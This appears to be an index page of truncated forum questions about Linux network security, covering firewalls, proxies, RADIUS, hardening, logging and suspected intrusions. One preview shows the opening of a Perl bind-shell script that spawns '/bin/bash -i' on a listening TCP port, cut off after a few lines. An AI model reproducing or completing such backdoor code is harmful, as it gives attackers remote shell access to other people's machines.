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Time Tested Linux Network Security Solutions: 251 - 275 of 308
 
Hello EE.   I have a linux box with fedora 5 - iptables , squid and samba setup.  This box does routing for a network comprising 15 computers.  How can I check to see if someone has hijacked t...
I have a project that will hopefully be happenig, its called radius security.  I was just tryng to get some more information on what it is all about from what i gather it runs on linux is this...
I was wondering whether it was possible by any means to dynamically add needed passwd/shadow information for users who have successfully authenticated through a RADIUS or TACACS server (using ...
I am looking for some Linux software which server as a Firewall and VPN for my company. I Will install a hardware firewall witch will manage 2 incoming internet connections. The linux firew...
I have a Squid proxy running on RHEL 3 (pretty much a default installation) that is currently proxy-ing it's little heart out on the corporate network. Its about to go into a DMZ - so I need t...
How do I add second ip to Centos5.0 in order to use in local network?Is there a way define it as local ip in iptables ?
I'm a linux newbie, so i'm stifled by the simplest things.  I'm using fedora 2, and i need to know how to restrict website access from that computer, baised on the user logged in.  For example...
Hi,     A requirement has come up for the implementation of an ssh proxy in our dmz to proxy inbound and outbound connections.  I was wondering how I'd go about setting up an ssh proxy that...
   Hi everybody! I'm using Fedora Core 4, I've installed the default firewall (SELinux). I have some process intervally connect to the internet to some static IPs. How can I force this proce...
I'm looking for pointers to online resources detailing how to harden SUSE Linux Enterprise Server (SLES) 9. In this environment, SLES is typically being used for an application or database ser...
#!/usr/bin/perl $SHELL="/bin/bash -i"; if (@ARGV < 1) { exit(1); } $LISTEN_PORT=$ARGV[0]; use Socket; $protocol=getprotobyname('tcp'); socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "C...
Experts, I followed this tutorial to install the latest stable debian over the weekend. http://www.howtoforge.com/perfect_setup_debian_sarge I am now SSHing into the machine from work...
I had an unnamed client that was attacked a while back and it's still bothering me.  Before I formatted the HDD and reinstalled Linux I was able to get the following 9 recent commands from .ba...
I have a script file on server "a" that uses ssh to run a script on server "b" as part of a backup on server "a".  So far, so good.  We recently lost our in-house Linux admin so I (an Oracle D...
Current Config: Internet -- SDSL Router (bridge mode) -- Netgear Prosafe Router --- switch --  NAT/LAN Ports 25 & 443 open to windows 2003/exchange 2003 server (OWA) I wish to add a w...
I have several Redhat Workstation 3 boxes and I need to have a login banner on the login prompt box. We used the "Welcome" line in the gdm.conf file but I cannot adjust the font size so the te...
I was checking my /var/log/secure the other day. It was getting too big so I deleted it, expecting it to restart. It didn't. How do I get it to restart?
A client with a website has been receiving large quantities of bounced back emails, with the following info. Based on the following does it appear that there is a spambot on the actual webs...
Let me preface this by saying I'm not well versed in Linux.  My expertise lies more in routing and networking.  However, our resident Linux guru is out of the country, and I need to patch bind...
We had a Linux Servers Audit Report, which i cant understand it that much, because i am a windows user. Can you please review it, and let me know if there is anything missing in terms of secur...
Hi, I've been playing with iptables trying to get my ftp service to run properly. I've got: -A Kilka-INPUT -p tcp -m tcp -d 0/0 --dport 444 --syn -j ACCEPT at the start of my list.  C...
I just recently loaded Mandrake 9.1 and I am using the defaults for the smtp server, I can send internal mail to all clients and i can send mail out to another email address off my domain, but...
Is there any way to turn some of the noisy sudo off logging in linux?
I have a webserver Apache 1.3.x on Suse Linux 7.x, configured with Confixx Pro. The server hosts serveral websites. I have 2 problems/questions: 1. When users want to get their mail using ...
When I log in remotely to my system using an scp client, I see a number of directories, including home, bin, sbin...etc. Security permissions are obviously enforced, so I cannot access files t...